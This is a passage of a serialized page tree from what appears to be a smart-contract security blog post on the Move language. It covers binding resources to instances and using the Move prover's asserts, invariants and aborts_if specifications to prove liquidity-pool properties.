table",{"type":21,"tag":153,"props":10374,"children":10375},{"style":198},[10376],{"type":26,"value":265},{"type":21,"tag":153,"props":10378,"children":10379},{"style":192},[10380],{"type":26,"value":10381},"borrow_mut_with_default",{"type":21,"tag":153,"props":10383,"children":10384},{"style":160},[10385],{"type":26,"value":8537},{"type":21,"tag":153,"props":10387,"children":10388},{"style":214},[10389],{"type":26,"value":10390},"TypeInfo",{"type":21,"tag":153,"props":10392,"children":10393},{"style":160},[10394],{"type":26,"value":1670},{"type":21,"tag":153,"props":10396,"children":10397},{"style":214},[10398],{"type":26,"value":10399},"Decimal",{"type":21,"tag":153,"props":10401,"children":10402},{"style":160},[10403],{"type":26,"value":9318},{"type":21,"tag":153,"props":10405,"children":10406},{"class":155,"line":382},[10407,10412,10416,10420,10424],{"type":21,"tag":153,"props":10408,"children":10409},{"style":198},[10410],{"type":26,"value":10411},"            &",{"type":21,"tag":153,"props":10413,"children":10414},{"style":170},[10415],{"type":26,"value":318},{"type":21,"tag":153,"props":10417,"children":10418},{"style":192},[10419],{"type":26,"value":10315},{"type":21,"tag":153,"props":10421,"children":10422},{"style":198},[10423],{"type":26,"value":355},{"type":21,"tag":153,"props":10425,"children":10426},{"style":160},[10427],{"type":26,"value":10428},"prices,\n",{"type":21,"tag":153,"props":10430,"children":10431},{"class":155,"line":501},[10432,10437],{"type":21,"tag":153,"props":10433,"children":10434},{"style":192},[10435],{"type":26,"value":10436},"            type_info",{"type":21,"tag":153,"props":10438,"children":10439},{"style":160},[10440],{"type":26,"value":792},{"type":21,"tag":153,"props":10442,"children":10443},{"class":155,"line":533},[10444,10449,10453,10458],{"type":21,"tag":153,"props":10445,"children":10446},{"style":160},[10447],{"type":26,"value":10448},"            decimal",{"type":21,"tag":153,"props":10450,"children":10451},{"style":198},[10452],{"type":26,"value":265},{"type":21,"tag":153,"props":10454,"children":10455},{"style":181},[10456],{"type":26,"value":10457},"one",{"type":21,"tag":153,"props":10459,"children":10460},{"style":160},[10461],{"type":26,"value":10462},"()\n",{"type":21,"tag":153,"props":10464,"children":10465},{"class":155,"line":542},[10466],{"type":21,"tag":153,"props":10467,"children":10468},{"style":160},[10469],{"type":26,"value":10470},"        );\n",{"type":21,"tag":153,"props":10472,"children":10473},{"class":155,"line":762},[10474,10479],{"type":21,"tag":153,"props":10475,"children":10476},{"style":198},[10477],{"type":26,"value":10478},"        *",{"type":21,"tag":153,"props":10480,"children":10481},{"style":192},[10482],{"type":26,"value":10483},"price\n",{"type":21,"tag":153,"props":10485,"children":10486},{"class":155,"line":776},[10487],{"type":21,"tag":153,"props":10488,"children":10489},{"style":160},[10490],{"type":26,"value":539},{"type":21,"tag":22,"props":10492,"children":10493},{},[10494,10496,10501],{"type":26,"value":10495},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":21,"tag":5302,"props":10497,"children":10498},{},[10499],{"type":26,"value":10500},"instance",{"type":26,"value":10502}," of another resource (which is possible in Diem style move).",{"type":21,"tag":22,"props":10504,"children":10505},{},[10506],{"type":26,"value":10507},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":21,"tag":126,"props":10509,"children":10510},{},[10511,10516],{"type":21,"tag":91,"props":10512,"children":10513},{},[10514],{"type":26,"value":10515},"Have unique initializers for your resources",{"type":21,"tag":91,"props":10517,"children":10518},{},[10519],{"type":26,"value":10520},"Associate resources with instances directly",{"type":21,"tag":66,"props":10522,"children":10524},{"id":10523},"formal-verification",[10525],{"type":26,"value":10526},"Formal Verification",{"type":21,"tag":22,"props":10528,"children":10529},{},[10530],{"type":26,"value":10531},"Formal verification is another exciting feature.",{"type":21,"tag":22,"props":10533,"children":10534},{},[10535],{"type":26,"value":10536},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":21,"tag":22,"props":10538,"children":10539},{},[10540,10542,10547],{"type":26,"value":10541},"However, this isn't a silver bullet. The key is figuring out ",{"type":21,"tag":5302,"props":10543,"children":10544},{},[10545],{"type":26,"value":10546},"what",{"type":26,"value":10548}," to prove.",{"type":21,"tag":22,"props":10550,"children":10551},{},[10552,10554,10561],{"type":26,"value":10553},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":21,"tag":29,"props":10555,"children":10558},{"href":10556,"rel":10557},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[33],[10559],{"type":26,"value":10560},"Solana AMM rounding issue",{"type":26,"value":10562}," we reported.",{"type":21,"tag":22,"props":10564,"children":10565},{},[10566],{"type":26,"value":10567},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":21,"tag":143,"props":10569,"children":10571},{"className":145,"code":10570,"language":147,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[10572],{"type":21,"tag":78,"props":10573,"children":10574},{"__ignoreMap":7},[10575,10636],{"type":21,"tag":153,"props":10576,"children":10577},{"class":155,"line":156},[10578,10583,10588,10592,10597,10601,10606,10610,10614,10619,10623,10627,10632],{"type":21,"tag":153,"props":10579,"children":10580},{"style":170},[10581],{"type":26,"value":10582},"  let",{"type":21,"tag":153,"props":10584,"children":10585},{"style":192},[10586],{"type":26,"value":10587}," cmp",{"type":21,"tag":153,"props":10589,"children":10590},{"style":198},[10591],{"type":26,"value":255},{"type":21,"tag":153,"props":10593,"children":10594},{"style":160},[10595],{"type":26,"value":10596}," u256",{"type":21,"tag":153,"props":10598,"children":10599},{"style":198},[10600],{"type":26,"value":265},{"type":21,"tag":153,"props":10602,"children":10603},{"style":181},[10604],{"type":26,"value":10605},"compare",{"type":21,"tag":153,"props":10607,"children":10608},{"style":160},[10609],{"type":26,"value":189},{"type":21,"tag":153,"props":10611,"children":10612},{"style":198},[10613],{"type":26,"value":1974},{"type":21,"tag":153,"props":10615,"children":10616},{"style":192},[10617],{"type":26,"value":10618},"lp_value_after_swap_and_fee",{"type":21,"tag":153,"props":10620,"children":10621},{"style":160},[10622],{"type":26,"value":1670},{"type":21,"tag":153,"props":10624,"children":10625},{"style":198},[10626],{"type":26,"value":1974},{"type":21,"tag":153,"props":10628,"children":10629},{"style":192},[10630],{"type":26,"value":10631},"lp_value_before_swap_u256",{"type":21,"tag":153,"props":10633,"children":10634},{"style":160},[10635],{"type":26,"value":530},{"type":21,"tag":153,"props":10637,"children":10638},{"class":155,"line":166},[10639,10644,10648,10653,10657,10662],{"type":21,"tag":153,"props":10640,"children":10641},{"style":181},[10642],{"type":26,"value":10643},"  assert!",{"type":21,"tag":153,"props":10645,"children":10646},{"style":160},[10647],{"type":26,"value":189},{"type":21,"tag":153,"props":10649,"children":10650},{"style":192},[10651],{"type":26,"value":10652},"cmp",{"type":21,"tag":153,"props":10654,"children":10655},{"style":198},[10656],{"type":26,"value":6031},{"type":21,"tag":153,"props":10658,"children":10659},{"style":300},[10660],{"type":26,"value":10661}," 2",{"type":21,"tag":153,"props":10663,"children":10664},{"style":160},[10665],{"type":26,"value":10666},", ERR_INCORRECT_SWAP);\n",{"type":21,"tag":22,"props":10668,"children":10669},{},[10670,10672,10677],{"type":26,"value":10671},"The move prover really shines when we're proving relationships ",{"type":21,"tag":5302,"props":10673,"children":10674},{},[10675],{"type":26,"value":10676},"between",{"type":26,"value":10678}," functions.",{"type":21,"tag":22,"props":10680,"children":10681},{},[10682,10684,10690],{"type":26,"value":10683},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":21,"tag":78,"props":10685,"children":10687},{"className":10686},[],[10688],{"type":26,"value":10689},"no_free_money_theorem",{"type":26,"value":10691}," in the move repository.",{"type":21,"tag":143,"props":10693,"children":10695},{"className":145,"code":10694,"language":147,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[10696],{"type":21,"tag":78,"props":10697,"children":10698},{"__ignoreMap":7},[10699,10707,10794,10836,10857,10864,10880,10906,10933,10958],{"type":21,"tag":153,"props":10700,"children":10701},{"class":155,"line":156},[10702],{"type":21,"tag":153,"props":10703,"children":10704},{"style":3050},[10705],{"type":26,"value":10706},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":21,"tag":153,"props":10708,"children":10709},{"class":155,"line":166},[10710,10714,10719,10723,10728,10732,10736,10740,10745,10749,10753,10757,10761,10765,10769,10773,10777,10781,10785,10790],{"type":21,"tag":153,"props":10711,"children":10712},{"style":192},[10713],{"type":26,"value":9299},{"type":21,"tag":153,"props":10715,"children":10716},{"style":181},[10717],{"type":26,"value":10718}," no_free_money_theorem",{"type":21,"tag":153,"props":10720,"children":10721},{"style":160},[10722],{"type":26,"value":189},{"type":21,"tag":153,"props":10724,"children":10725},{"style":192},[10726],{"type":26,"value":10727},"coin1_in",{"type":21,"tag":153,"props":10729,"children":10730},{"style":198},[10731],{"type":26,"value":201},{"type":21,"tag":153,"props":10733,"children":10734},{"style":214},[10735],{"type":26,"value":323},{"type":21,"tag":153,"props":10737,"children":10738},{"style":160},[10739],{"type":26,"value":1670},{"type":21,"tag":153,"props":10741,"children":10742},{"style":192},[10743],{"type":26,"value":10744},"coin2_in",{"type":21,"tag":153,"props":10746,"children":10747},{"style":198},[10748],{"type":26,"value":201},{"type":21,"tag":153,"props":10750,"children":10751},{"style":214},[10752],{"type":26,"value":323},{"type":21,"tag":153,"props":10754,"children":10755},{"style":160},[10756],{"type":26,"value":2071},{"type":21,"tag":153,"props":10758,"children":10759},{"style":198},[10760],{"type":26,"value":201},{"type":21,"tag":153,"props":10762,"children":10763},{"style":160},[10764],{"type":26,"value":5820},{"type":21,"tag":153,"props":10766,"children":10767},{"style":214},[10768],{"type":26,"value":445},{"type":21,"tag":153,"props":10770,"children":10771},{"style":160},[10772],{"type":26,"value":1670},{"type":21,"tag":153,"props":10774,"children":10775},{"style":214},[10776],{"type":26,"value":445},{"type":21,"tag":153,"props":10778,"children":10779},{"style":160},[10780],{"type":26,"value":2362},{"type":21,"tag":153,"props":10782,"children":10783},{"style":192},[10784],{"type":26,"value":9073},{"type":21,"tag":153,"props":10786,"children":10787},{"style":214},[10788],{"type":26,"value":10789}," Pool",{"type":21,"tag":153,"props":10791,"children":10792},{"style":160},[10793],{"type":26,"value":236},{"type":21,"tag":153,"props":10795,"children":10796},{"class":155,"line":225},[10797,10802,10807,10811,10816,10820,10824,10828,10832],{"type":21,"tag":153,"props":10798,"children":10799},{"style":170},[10800],{"type":26,"value":10801},"      let",{"type":21,"tag":153,"props":10803,"children":10804},{"style":192},[10805],{"type":26,"value":10806}," share",{"type":21,"tag":153,"props":10808,"children":10809},{"style":198},[10810],{"type":26,"value":255},{"type":21,"tag":153,"props":10812,"children":10813},{"style":181},[10814],{"type":26,"value":10815}," add_liquidity",{"type":21,"tag":153,"props":10817,"children":10818},{"style":160},[10819],{"type":26,"value":189},{"type":21,"tag":153,"props":10821,"children":10822},{"style":192},[10823],{"type":26,"value":10727},{"type":21,"tag":153,"props":10825,"children":10826},{"style":160},[10827],{"type":26,"value":1670},{"type":21,"tag":153,"props":10829,"children":10830},{"style":192},[10831],{"type":26,"value":10744},{"type":21,"tag":153,"props":10833,"children":10834},{"style":160},[10835],{"type":26,"value":530},{"type":21,"tag":153,"props":10837,"children":10838},{"class":155,"line":239},[10839,10844,10848,10853],{"type":21,"tag":153,"props":10840,"children":10841},{"style":181},[10842],{"type":26,"value":10843},"      remove_liquidity",{"type":21,"tag":153,"props":10845,"children":10846},{"style":160},[10847],{"type":26,"value":189},{"type":21,"tag":153,"props":10849,"children":10850},{"style":192},[10851],{"type":26,"value":10852},"share",{"type":21,"tag":153,"props":10854,"children":10855},{"style":160},[10856],{"type":26,"value":5909},{"type":21,"tag":153,"props":10858,"children":10859},{"class":155,"line":382},[10860],{"type":21,"tag":153,"props":10861,"children":10862},{"style":160},[10863],{"type":26,"value":8601},{"type":21,"tag":153,"props":10865,"children":10866},{"class":155,"line":501},[10867,10872,10876],{"type":21,"tag":153,"props":10868,"children":10869},{"style":192},[10870],{"type":26,"value":10871},"  spec",{"type":21,"tag":153,"props":10873,"children":10874},{"style":192},[10875],{"type":26,"value":10718},{"type":21,"tag":153,"props":10877,"children":10878},{"style":160},[10879],{"type":26,"value":236},{"type":21,"tag":153,"props":10881,"children":10882},{"class":155,"line":533},[10883,10888,10893,10897,10902],{"type":21,"tag":153,"props":10884,"children":10885},{"style":192},[10886],{"type":26,"value":10887},"      pragma",{"type":21,"tag":153,"props":10889,"children":10890},{"style":192},[10891],{"type":26,"value":10892}," verify",{"type":21,"tag":153,"props":10894,"children":10895},{"style":198},[10896],{"type":26,"value":2367},{"type":21,"tag":153,"props":10898,"children":10899},{"style":170},[10900],{"type":26,"value":10901},"false",{"type":21,"tag":153,"props":10903,"children":10904},{"style":160},[10905],{"type":26,"value":1759},{"type":21,"tag":153,"props":10907,"children":10908},{"class":155,"line":542},[10909,10914,10919,10924,10929],{"type":21,"tag":153,"props":10910,"children":10911},{"style":192},[10912],{"type":26,"value":10913},"      ensures",{"type":21,"tag":153,"props":10915,"children":10916},{"style":192},[10917],{"type":26,"value":10918}," result_1",{"type":21,"tag":153,"props":10920,"children":10921},{"style":198},[10922],{"type":26,"value":10923}," \u003C=",{"type":21,"tag":153,"props":10925,"children":10926},{"style":192},[10927],{"type":26,"value":10928}," coin1_in",{"type":21,"tag":153,"props":10930,"children":10931},{"style":160},[10932],{"type":26,"value":1759},{"type":21,"tag":153,"props":10934,"children":10935},{"class":155,"line":762},[10936,10940,10945,10949,10954],{"type":21,"tag":153,"props":10937,"children":10938},{"style":192},[10939],{"type":26,"value":10913},{"type":21,"tag":153,"props":10941,"children":10942},{"style":192},[10943],{"type":26,"value":10944}," result_2",{"type":21,"tag":153,"props":10946,"children":10947},{"style":198},[10948],{"type":26,"value":10923},{"type":21,"tag":153,"props":10950,"children":10951},{"style":192},[10952],{"type":26,"value":10953}," coin2_in",{"type":21,"tag":153,"props":10955,"children":10956},{"style":160},[10957],{"type":26,"value":1759},{"type":21,"tag":153,"props":10959,"children":10960},{"class":155,"line":776},[10961],{"type":21,"tag":153,"props":10962,"children":10963},{"style":160},[10964],{"type":26,"value":8601},{"type":21,"tag":22,"props":10966,"children":10967},{},[10968],{"type":26,"value":10969},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":21,"tag":22,"props":10971,"children":10972},{},[10973,10975,10980],{"type":26,"value":10974},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":21,"tag":5302,"props":10976,"children":10977},{},[10978],{"type":26,"value":10979},"lot",{"type":26,"value":10981}," easier to reason about the protocol.",{"type":21,"tag":22,"props":10983,"children":10984},{},[10985],{"type":26,"value":10986},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":21,"tag":143,"props":10988,"children":10990},{"className":145,"code":10989,"language":147,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[10991],{"type":21,"tag":78,"props":10992,"children":10993},{"__ignoreMap":7},[10994,11011,11034],{"type":21,"tag":153,"props":10995,"children":10996},{"class":155,"line":156},[10997,11002,11007],{"type":21,"tag":153,"props":10998,"children":10999},{"style":192},[11000],{"type":26,"value":11001},"spec",{"type":21,"tag":153,"props":11003,"children":11004},{"style":214},[11005],{"type":26,"value":11006}," PoolState",{"type":21,"tag":153,"props":11008,"children":11009},{"style":160},[11010],{"type":26,"value":236},{"type":21,"tag":153,"props":11012,"children":11013},{"class":155,"line":166},[11014,11019,11024,11029],{"type":21,"tag":153,"props":11015,"children":11016},{"style":192},[11017],{"type":26,"value":11018},"    invariant",{"type":21,"tag":153,"props":11020,"children":11021},{"style":192},[11022],{"type":26,"value":11023}," supply",{"type":21,"tag":153,"props":11025,"children":11026},{"style":198},[11027],{"type":26,"value":11028}," >=",{"type":21,"tag":153,"props":11030,"children":11031},{"style":160},[11032],{"type":26,"value":11033}," MINIMUM_LIQUIDITY;\n",{"type":21,"tag":153,"props":11035,"children":11036},{"class":155,"line":225},[11037],{"type":21,"tag":153,"props":11038,"children":11039},{"style":160},[11040],{"type":26,"value":548},{"type":21,"tag":22,"props":11042,"children":11043},{},[11044,11046,11052,11054,11060],{"type":26,"value":11045},"Another useful pattern for the Move prover is ",{"type":21,"tag":78,"props":11047,"children":11049},{"className":11048},[],[11050],{"type":26,"value":11051},"aborts_if",{"type":26,"value":11053},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":21,"tag":78,"props":11055,"children":11057},{"className":11056},[],[11058],{"type":26,"value":11059},"aborts_if false",{"type":26,"value":355},{"type":21,"tag":22,"props":11062,"children":11063},{},[11064],{"type":26,"value":11065},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":21,"tag":143,"props":11067,"children":11069},{"className":145,"code":11068,"language":147,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[11070],{"type":21,"tag":78,"props":11071,"children":11072},{"__ignoreMap":7},[11073,11137,11179,11202,11247,11260,11272,11310,11333,11421,11429,11453,11461,11482,11502,11602,11610,11638,11646,11658,11682,11717,11724,11732,11739,11754,11770,11787,11831,11935],{"type":21,"tag":153,"props":11074,"children":11075},{"class":155,"line":156},[11076,11080,11085,11089,11094,11098,11103,11107,11111,11116,11120,11124,11128,11133],{"type":21,"tag":153,"props":11077,"children":11078},{"style":192},[11079],{"type":26,"value":9299},{"type":21,"tag":153,"props":11081,"children":11082},{"style":181},[11083],{"type":26,"value":11084}," multiply_vec_by_n_coins",{"type":21,"tag":153,"props":11086,"children":11087},{"style":160},[11088],{"type":26,"value":189},{"type":21,"tag":153,"props":11090,"children":11091},{"style":192},[11092],{"type":26,"value":11093},"input",{"type":21,"tag":153,"props":11095,"children":11096},{"style":198},[11097],{"type":26,"value":201},{"type":21,"tag":153,"props":11099,"children":11100},{"style":192},[11101],{"type":26,"value":11102}," vector",{"type":21,"tag":153,"props":11104,"children":11105},{"style":160},[11106],{"type":26,"value":8537},{"type":21,"tag":153,"props":11108,"children":11109},{"style":214},[11110],{"type":26,"value":445},{"type":21,"tag":153,"props":11112,"children":11113},{"style":160},[11114],{"type":26,"value":11115},">)",{"type":21,"tag":153,"props":11117,"children":11118},{"style":198},[11119],{"type":26,"value":201},{"type":21,"tag":153,"props":11121,"children":11122},{"style":192},[11123],{"type":26,"value":11102},{"type":21,"tag":153,"props":11125,"children":11126},{"style":160},[11127],{"type":26,"value":8537},{"type":21,"tag":153,"props":11129,"children":11130},{"style":214},[11131],{"type":26,"value":11132},"u128",{"type":21,"tag":153,"props":11134,"children":11135},{"style":160},[11136],{"type":26,"value":10009},{"type":21,"tag":153,"props":11138,"children":11139},{"class":155,"line":166},[11140,11144,11149,11153,11157,11161,11166,11170,11174],{"type":21,"tag":153,"props":11141,"children":11142},{"style":170},[11143],{"type":26,"value":10801},{"type":21,"tag":153,"props":11145,"children":11146},{"style":192},[11147],{"type":26,"value":11148}," amounts_times_coins",{"type":21,"tag":153,"props":11150,"children":11151},{"style":198},[11152],{"type":26,"value":255},{"type":21,"tag":153,"props":11154,"children":11155},{"style":160},[11156],{"type":26,"value":11102},{"type":21,"tag":153,"props":11158,"children":11159},{"style":198},[11160],{"type":26,"value":265},{"type":21,"tag":153,"props":11162,"children":11163},{"style":192},[11164],{"type":26,"value":11165},"empty",{"type":21,"tag":153,"props":11167,"children":11168},{"style":160},[11169],{"type":26,"value":8537},{"type":21,"tag":153,"props":11171,"children":11172},{"style":214},[11173],{"type":26,"value":11132},{"type":21,"tag":153,"props":11175,"children":11176},{"style":160},[11177],{"type":26,"value":11178},">();\n",{"type":21,"tag":153,"props":11180,"children":11181},{"class":155,"line":225},[11182,11186,11190,11194,11198],{"type":21,"tag":153,"props":11183,"children":11184},{"style":170},[11185],{"type":26,"value":10801},{"type":21,"tag":153,"props":11187,"children":11188},{"style":192},[11189],{"type":26,"value":6143},{"type":21,"tag":153,"props":11191,"children":11192},{"style":198},[11193],{"type":26,"value":255},{"type":21,"tag":153,"props":11195,"children":11196},{"style":300},[11197],{"type":26,"value":5799},{"type":21,"tag":153,"props":11199,"children":11200},{"style":160},[11201],{"type":26,"value":1759},{"type":21,"tag":153,"props":11203,"children":11204},{"class":155,"line":239},[11205,11209,11214,11218,11222,11226,11231,11235,11239,11243],{"type":21,"tag":153,"props":11206,"children":11207},{"style":170},[11208],{"type":26,"value":10801},{"type":21,"tag":153,"props":11210,"children":11211},{"style":192},[11212],{"type":26,"value":11213}," n_coins",{"type":21,"tag":153,"props":11215,"children":11216},{"style":198},[11217],{"type":26,"value":255},{"type":21,"tag":153,"props":11219,"children":11220},{"style":160},[11221],{"type":26,"value":11102},{"type":21,"tag":153,"props":11223,"children":11224},{"style":198},[11225],{"type":26,"value":265},{"type":21,"tag":153,"props":11227,"children":11228},{"style":181},[11229],{"type":26,"value":11230},"length",{"type":21,"tag":153,"props":11232,"children":11233},{"style":160},[11234],{"type":26,"value":189},{"type":21,"tag":153,"props":11236,"children":11237},{"style":198},[11238],{"type":26,"value":1974},{"type":21,"tag":153,"props":11240,"children":11241},{"style":192},[11242],{"type":26,"value":11093},{"type":21,"tag":153,"props":11244,"children":11245},{"style":160},[11246],{"type":26,"value":530},{"type":21,"tag":153,"props":11248,"children":11249},{"class":155,"line":382},[11250,11255],{"type":21,"tag":153,"props":11251,"children":11252},{"style":1751},[11253],{"type":26,"value":11254},"      while",{"type":21,"tag":153,"props":11256,"children":11257},{"style":160},[11258],{"type":26,"value":11259}," ({\n",{"type":21,"tag":153,"props":11261,"children":11262},{"class":155,"line":501},[11263,11268],{"type":21,"tag":153,"props":11264,"children":11265},{"style":192},[11266],{"type":26,"value":11267},"          spec",{"type":21,"tag":153,"props":11269,"children":11270},{"style":160},[11271],{"type":26,"value":236},{"type":21,"tag":153,"props":11273,"children":11274},{"class":155,"line":533},[11275,11280,11285,11289,11294,11298,11302,11306],{"type":21,"tag":153,"props":11276,"children":11277},{"style":192},[11278],{"type":26,"value":11279},"              invariant",{"type":21,"tag":153,"props":11281,"children":11282},{"style":181},[11283],{"type":26,"value":11284}," len",{"type":21,"tag":153,"props":11286,"children":11287},{"style":160},[11288],{"type":26,"value":189},{"type":21,"tag":153,"props":11290,"children":11291},{"style":192},[11292],{"type":26,"value":11293},"amounts_times_coins",{"type":21,"tag":153,"props":11295,"children":11296},{"style":160},[11297],{"type":26,"value":2362},{"type":21,"tag":153,"props":11299,"children":11300},{"style":198},[11301],{"type":26,"value":1694},{"type":21,"tag":153,"props":11303,"children":11304},{"style":192},[11305],{"type":26,"value":6143},{"type":21,"tag":153,"props":11307,"children":11308},{"style":160},[11309],{"type":26,"value":1759},{"type":21,"tag":153,"props":11311,"children":11312},{"class":155,"line":542},[11313,11317,11321,11325,11329],{"type":21,"tag":153,"props":11314,"children":11315},{"style":192},[11316],{"type":26,"value":11279},{"type":21,"tag":153,"props":11318,"children":11319},{"style":192},[11320],{"type":26,"value":6143},{"type":21,"tag":153,"props":11322,"children":11323},{"style":198},[11324],{"type":26,"value":10923},{"type":21,"tag":153,"props":11326,"children":11327},{"style":192},[11328],{"type":26,"value":11213},{"type":21,"tag":153,"props":11330,"children":11331},{"style":160},[11332],{"type":26,"value":1759},{"type":21,"tag":153,"props":11334,"children":11335},{"class":155,"line":762},[11336,11340,11345,11350,11354,11358,11362,11366,11370,11374,11378,11383,11388,11392,11397,11401,11405,11409,11413,11417],{"type":21,"tag":153,"props":11337,"children":11338},{"style":192},[11339],{"type":26,"value":11279},{"type":21,"tag":153,"props":11341,"children":11342},{"style":192},[11343],{"type":26,"value":11344}," forall",{"type":21,"tag":153,"props":11346,"children":11347},{"style":192},[11348],{"type":26,"value":11349}," j",{"type":21,"tag":153,"props":11351,"children":11352},{"style":170},[11353],{"type":26,"value":5794},{"type":21,"tag":153,"props":11355,"children":11356},{"style":300},[11357],{"type":26,"value":5799},{"type":21,"tag":153,"props":11359,"children":11360},{"style":198},[11361],{"type":26,"value":341},{"type":21,"tag":153,"props":11363,"children":11364},{"style":192},[11365],{"type":26,"value":6471},{"type":21,"tag":153,"props":11367,"children":11368},{"style":198},[11369],{"type":26,"value":201},{"type":21,"tag":153,"props":11371,"children":11372},{"style":192},[11373],{"type":26,"value":11148},{"type":21,"tag":153,"props":11375,"children":11376},{"style":160},[11377],{"type":26,"value":211},{"type":21,"tag":153,"props":11379,"children":11380},{"style":192},[11381],{"type":26,"value":11382},"j",{"type":21,"tag":153,"props":11384,"children":11385},{"style":160},[11386],{"type":26,"value":11387},"] ",{"type":21,"tag":153,"props":11389,"children":11390},{"style":198},[11391],{"type":26,"value":1694},{"type":21,"tag":153,"props":11393,"children":11394},{"style":192},[11395],{"type":26,"value":11396}," input",{"type":21,"tag":153,"props":11398,"children":11399},{"style":160},[11400],{"type":26,"value":211},{"type":21,"tag":153,"props":11402,"children":11403},{"style":192},[11404],{"type":26,"value":11382},{"type":21,"tag":153,"props":11406,"children":11407},{"style":160},[11408],{"type":26,"value":11387},{"type":21,"tag":153,"props":11410,"children":11411},{"style":198},[11412],{"type":26,"value":313},{"type":21,"tag":153,"props":11414,"children":11415},{"style":192},[11416],{"type":26,"value":11213},{"type":21,"tag":153,"props":11418,"children":11419},{"style":160},[11420],{"type":26,"value":1759},{"type":21,"tag":153,"props":11422,"children":11423},{"class":155,"line":776},[11424],{"type":21,"tag":153,"props":11425,"children":11426},{"style":160},[11427],{"type":26,"value":11428},"          };\n",{"type":21,"tag":153,"props":11430,"children":11431},{"class":155,"line":795},[11432,11437,11441,11445,11449],{"type":21,"tag":153,"props":11433,"children":11434},{"style":160},[11435],{"type":26,"value":11436},"          (",{"type":21,"tag":153,"props":11438,"children":11439},{"style":192},[11440],{"type":26,"value":6471},{"type":21,"tag":153,"props":11442,"children":11443},{"style":198},[11444],{"type":26,"value":4094},{"type":21,"tag":153,"props":11446,"children":11447},{"style":192},[11448],{"type":26,"value":11213},{"type":21,"tag":153,"props":11450,"children":11451},{"style":160},[11452],{"type":26,"value":5909},{"type":21,"tag":153,"props":11454,"children":11455},{"class":155,"line":808},[11456],{"type":21,"tag":153,"props":11457,"children":11458},{"style":160},[11459],{"type":26,"value":11460},"      }) {\n",{"type":21,"tag":153,"props":11462,"children":11463},{"class":155,"line":820},[11464,11469,11473,11478],{"type":21,"tag":153,"props":11465,"children":11466},{"style":160},[11467],{"type":26,"value":11468},"          vector",{"type":21,"tag":153,"props":11470,"children":11471},{"style":198},[11472],{"type":26,"value":265},{"type":21,"tag":153,"props":11474,"children":11475},{"style":181},[11476],{"type":26,"value":11477},"push_back",{"type":21,"tag":153,"props":11479,"children":11480},{"style":160},[11481],{"type":26,"value":773},{"type":21,"tag":153,"props":11483,"children":11484},{"class":155,"line":842},[11485,11490,11494,11498],{"type":21,"tag":153,"props":11486,"children":11487},{"style":198},[11488],{"type":26,"value":11489},"              &",{"type":21,"tag":153,"props":11491,"children":11492},{"style":170},[11493],{"type":26,"value":318},{"type":21,"tag":153,"props":11495,"children":11496},{"style":192},[11497],{"type":26,"value":11148},{"type":21,"tag":153,"props":11499,"children":11500},{"style":160},[11501],{"type":26,"value":792},{"type":21,"tag":153,"props":11503,"children":11504},{"class":155,"line":3204},[11505,11510,11514,11519,11523,11528,11532,11536,11540,11545,11549,11554,11558,11563,11568,11573,11577,11581,11585,11590,11594,11598],{"type":21,"tag":153,"props":11506,"children":11507},{"style":160},[11508],{"type":26,"value":11509},"              (",{"type":21,"tag":153,"props":11511,"children":11512},{"style":198},[11513],{"type":26,"value":313},{"type":21,"tag":153,"props":11515,"children":11516},{"style":160},[11517],{"type":26,"value":11518},"vector",{"type":21,"tag":153,"props":11520,"children":11521},{"style":198},[11522],{"type":26,"value":265},{"type":21,"tag":153,"props":11524,"children":11525},{"style":181},[11526],{"type":26,"value":11527},"borrow",{"type":21,"tag":153,"props":11529,"children":11530},{"style":160},[11531],{"type":26,"value":189},{"type":21,"tag":153,"props":11533,"children":11534},{"style":198},[11535],{"type":26,"value":1974},{"type":21,"tag":153,"props":11537,"children":11538},{"style":192},[11539],{"type":26,"value":11093},{"type":21,"tag":153,"props":11541,"children":11542},{"style":160},[11543],{"type":26,"value":11544},", (",{"type":21,"tag":153,"props":11546,"children":11547},{"style":192},[11548],{"type":26,"value":6471},{"type":21,"tag":153,"props":11550,"children":11551},{"style":170},[11552],{"type":26,"value":11553}," 